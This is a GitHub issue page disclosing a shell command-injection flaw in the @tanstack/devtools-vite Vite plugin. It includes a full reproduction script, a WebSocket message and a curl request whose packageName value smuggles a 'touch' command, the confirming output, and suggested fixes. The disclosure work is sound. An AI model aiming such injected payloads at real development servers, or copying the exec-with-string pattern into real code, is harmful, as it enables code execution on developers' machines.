Title: Unauthenticated devtools event can trigger shell command injection during package install · Issue #464 · TanStack/devtools · GitHub
Open Graph Title: Unauthenticated devtools event can trigger shell command injection during package install · Issue #464 · TanStack/devtools
X Title: Unauthenticated devtools event can trigger shell command injection during package install · Issue #464 · TanStack/devtools
Description: TanStack Devtools version @tanstack/devtools-vite@0.7.0 Framework/Library version Vite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64 Describe the bug and the steps to reproduce it @tanstack/devtools-vite@0.7.0 appears to allow command inj...
Open Graph Description: TanStack Devtools version @tanstack/devtools-vite@0.7.0 Framework/Library version Vite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64 Describe the bug and the steps to reproduce it @tanstack/devtools...
X Description: TanStack Devtools version @tanstack/devtools-vite@0.7.0 Framework/Library version Vite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64 Describe the bug and the steps to reproduce it @tanstack/devtools...
Opengraph URL: https://github.com/TanStack/devtools/issues/464
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Unauthenticated devtools event can trigger shell command injection during package install","articleBody":"### TanStack Devtools version\n\n@tanstack/devtools-vite@0.7.0\n\n### Framework/Library version\n\nVite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64\n\n### Describe the bug and the steps to reproduce it\n\n`@tanstack/devtools-vite@0.7.0` appears to allow command injection through the development devtools event bus.\n\nWhen the Vite plugin runs in development mode, it starts a TanStack Devtools event bus, normally on `localhost:4206`, and registers handlers for events such as `install-devtools` and `bump-package-version`.\n\nThose handlers trust the event payload's `packageName` value and pass it into `installPackage()`. `installPackage()` then builds a package-manager shell command string such as:\n\n```text\nnpm install -D ${packageName}\npnpm add -D ${packageName}\nyarn add -D ${packageName}\nbun add -D ${packageName}\n```\n\nThe command is executed with `child_process.exec()`. Because `packageName` is not validated, escaped, or passed as an argv element, shell metacharacters in the event payload can execute local commands in the Vite dev server process.\n\nRelevant source locations:\n\n```text\npackages/devtools-vite/src/plugin.ts\npackages/devtools-vite/src/package-manager.ts\npackages/devtools-event-bus/src/server/server.ts\n```\n\nThe Vite plugin starts the event bus:\n\n```ts\nconst preferredPort = args?.eventBusConfig?.port ?? 4206\nconst serverHost =\n typeof server.config.server.host === 'string'\n ? server.config.server.host\n : 'localhost'\n\nconst bus = new ServerEventBus({\n ...args?.eventBusConfig,\n port: preferredPort,\n host: serverHost,\n})\n\ndevtoolsPort = await bus.start()\n```\n\nThe same plugin registers package-installation handlers:\n\n```ts\ndevtoolsEventClient.on('install-devtools', async (event) => {\n const result = await installPackage(event.payload.packageName)\n ...\n})\n\ndevtoolsEventClient.on('bump-package-version', async (event) => {\n const { packageName, minVersion } = event.payload\n const packageWithVersion = minVersion\n ? `${packageName}@^${minVersion}`\n : packageName\n\n const result = await installPackage(packageWithVersion)\n ...\n})\n```\n\nThe command injection sink is:\n\n```ts\nconst getInstallCommand = (\n packageManager: string,\n packageName: string,\n): string => {\n switch (packageManager) {\n case 'yarn':\n return `yarn add -D ${packageName}`\n case 'pnpm':\n return `pnpm add -D ${packageName}`\n case 'bun':\n return `bun add -D ${packageName}`\n case 'npm':\n default:\n return `npm install -D ${packageName}`\n }\n}\n\nexport const installPackage = async (packageName: string) => {\n ...\n const installCommand = getInstallCommand(packageManager, packageName)\n ...\n exec(installCommand, async (installError) => {\n ...\n })\n}\n```\n\nThe event bus forwards unauthenticated WebSocket messages to server-side listeners:\n\n```ts\nws.on('message', (msg) => {\n const data = parseWithBigInt(msg.toString())\n this.emitToServer(data)\n})\n```\n\nSteps to reproduce:\n\n```bash\nrm -rf /tmp/tanstack-devtools-vite-poc\nmkdir /tmp/tanstack-devtools-vite-poc\ncd /tmp/tanstack-devtools-vite-poc\n\nnpm init -y >/dev/null\nnpm install vite @tanstack/devtools-vite@0.7.0 >/dev/null\n\ncat > vite.config.mjs \u003c\u003c'JS'\nimport { defineConfig } from 'vite';\nimport { devtools } from '@tanstack/devtools-vite';\n\nexport default defineConfig({\n plugins: [\n ...devtools({\n logging: false,\n }),\n ],\n});\nJS\n\ncat > index.html \u003c\u003c'HTML'\n\u003cdiv id=\"app\">tanstack devtools vite poc\u003c/div>\n\u003cscript type=\"module\" src=\"/src/main.js\">\u003c/script>\nHTML\n\nmkdir -p src\ncat > src/main.js \u003c\u003c'JS'\nconsole.log('tanstack devtools vite poc');\nJS\n\nrm -f /tmp/tanstack-devtools-vite-pwn\n\nNODE_ENV=development npx vite --host localhost --port 5173 > /tmp/tanstack-vite.log 2>&1 &\nVITE_PID=$!\nsleep 2\n\nnode --input-type=module \u003c\u003c'JS'\nimport { WebSocket } from 'ws';\n\nconst ws = new WebSocket('ws://localhost:4206/__devtools/ws');\n\nws.on('open', () => {\n ws.send(JSON.stringify({\n type: 'tanstack-devtools-core:install-devtools',\n pluginId: 'tanstack-devtools-core',\n payload: {\n packageName: 'definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #',\n pluginName: 'PocPlugin',\n pluginImport: {\n importName: 'PocPlugin',\n type: 'jsx'\n }\n }\n }));\n\n setTimeout(() => ws.close(), 500);\n});\n\nsetTimeout(() => process.exit(0), 1500);\nJS\n\nsleep 5\n\ntest -f /tmp/tanstack-devtools-vite-pwn && echo \"VULNERABLE: marker created\"\n\nkill \"$VITE_PID\" 2>/dev/null || true\nsed -n '1,80p' /tmp/tanstack-vite.log\n```\n\nObserved output:\n\n```text\nVULNERABLE: marker created\n\n[@tanstack/devtools-vite] Installing definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #...\n[@tanstack/devtools-vite] Successfully installed definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #\n[@tanstack/devtools-vite] Auto-adding definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; # to devtools...\n[@tanstack/devtools-vite] Could not add plugin. Devtools file not found.\n```\n\nThe marker file is created, showing that the shell parsed and executed the injected command.\n\nI also reproduced the same issue through the HTTP event endpoint:\n\n```bash\ncurl -X POST http://localhost:4206/__devtools/send \\\n -H 'Content-Type: application/json' \\\n --data '{\"type\":\"tanstack-devtools-core:install-devtools\",\"pluginId\":\"tanstack-devtools-core\",\"payload\":{\"packageName\":\"x; touch /tmp/tanstack-devtools-vite-pwn; #\",\"pluginName\":\"PocPlugin\",\"pluginImport\":{\"importName\":\"PocPlugin\",\"type\":\"jsx\"}}}'\n```\n\nImpact:\n\nI understand this package is intended for development tooling, so I would not describe this as a production application RCE. The narrower issue is that an unauthenticated local devtools event endpoint can trigger package-manager command execution with attacker-controlled shell syntax.\n\nBy default this is primarily a local development server risk. However, development servers often have access to source code, package-manager auth tokens, local environment variables, dependency credentials, and the developer's filesystem. The risk can also increase if the dev server/event bus is exposed through `server.host`, a tunnel, a container port mapping, or a shared development environment.\n\nSuggested fix:\n\n- Avoid constructing package-manager commands as shell strings.\n- Use `spawn()` or `execFile()` with `shell: false`, passing the package name as a separate argv element.\n- Validate package names with a package-name parser such as `npm-package-arg`, or restrict this event to a known allowlist of TanStack devtools packages.\n- Require a per-dev-server random token for mutating event-bus actions.\n- Check WebSocket `Origin` where possible.\n- Avoid `Access-Control-Allow-Origin: *` for mutating event endpoints.\n- Consider requiring explicit user confirmation before package-install actions.\n\n### Your Minimal, Reproducible Example - (Sandbox Highly Recommended)\n\nThe reproduction above is a complete local shell script. It creates a minimal Vite project from scratch, installs only `vite` and `@tanstack/devtools-vite@0.7.0`, starts the dev server, sends the event payload, and checks for the marker file.\n\n### Screenshots or Videos (Optional)\n\n_No response_\n\n### Do you intend to try to help solve this bug with your own PR?\n\n_No response_\n\n### Terms & Code of Conduct\n\n- [x] I agree to follow this project's Code of Conduct\n- [x] I understand that if my bug cannot be reliable reproduced in a debuggable environment, it will probably not be fixed and this issue may even be closed.","author":{"url":"https://github.com/Dremig","@type":"Person","name":"Dremig"},"datePublished":"2026-06-19T06:30:52Z","url":"https://github.com/TanStack/devtools/issues/464"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react-reconciler,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@d5750093facf |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:8482f336-12c3-dc4c-6970-61acd2c7ec5c |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | 9AAE:1A0E:2872ED8:35070CB:6AF9AC4C |
| html-safe-nonce | b9b0587d3880fcd02c9da88f0626d382e60c59fb3077f0efc07ae85288128cc1 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5QUFFOjFBMEU6Mjg3MkVEODozNTA3MENCOjZBRjlBQzRDIiwidmlzaXRvcl9pZCI6IjM0NTk4NzE5OTAxMTI0MzExODAiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | 0df958b402dfb897fe1c058bd7c38013c6e69987327c36aab724fc65f387c92e |
| hovercard-subject-tag | issue:4698451232 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/TanStack/devtools/464/issue_layout |
| twitter:image | https://opengraph.githubassets.com/40c4c2717852d53f6f630a327eb02c68ba4c817569fd6f5b5e5bc61ff544d52c/TanStack/devtools/issues/464 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/40c4c2717852d53f6f630a327eb02c68ba4c817569fd6f5b5e5bc61ff544d52c/TanStack/devtools/issues/464 |
| og:image:alt | TanStack Devtools version @tanstack/devtools-vite@0.7.0 Framework/Library version Vite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64 Describe the bug and the steps to reproduce it @tanstack/devtools... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | Dremig |
| hostname | github.com |
| expected-hostname | github.com |
| None | 612d3e6ffd693e7ea8d9fcf452370995872baef31d825b1fedef704cd3d24ac7 |
| turbo-cache-control | no-preview |
| go-import | github.com/TanStack/devtools git https://github.com/TanStack/devtools.git |
| octolytics-dimension-user_id | 72518640 |
| octolytics-dimension-user_login | TanStack |
| octolytics-dimension-repository_id | 1026402761 |
| octolytics-dimension-repository_nwo | TanStack/devtools |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 1026402761 |
| octolytics-dimension-repository_network_root_nwo | TanStack/devtools |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 072e34035c13c31543fba9f025cbbbda4210dae4 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
Viewport: width=device-width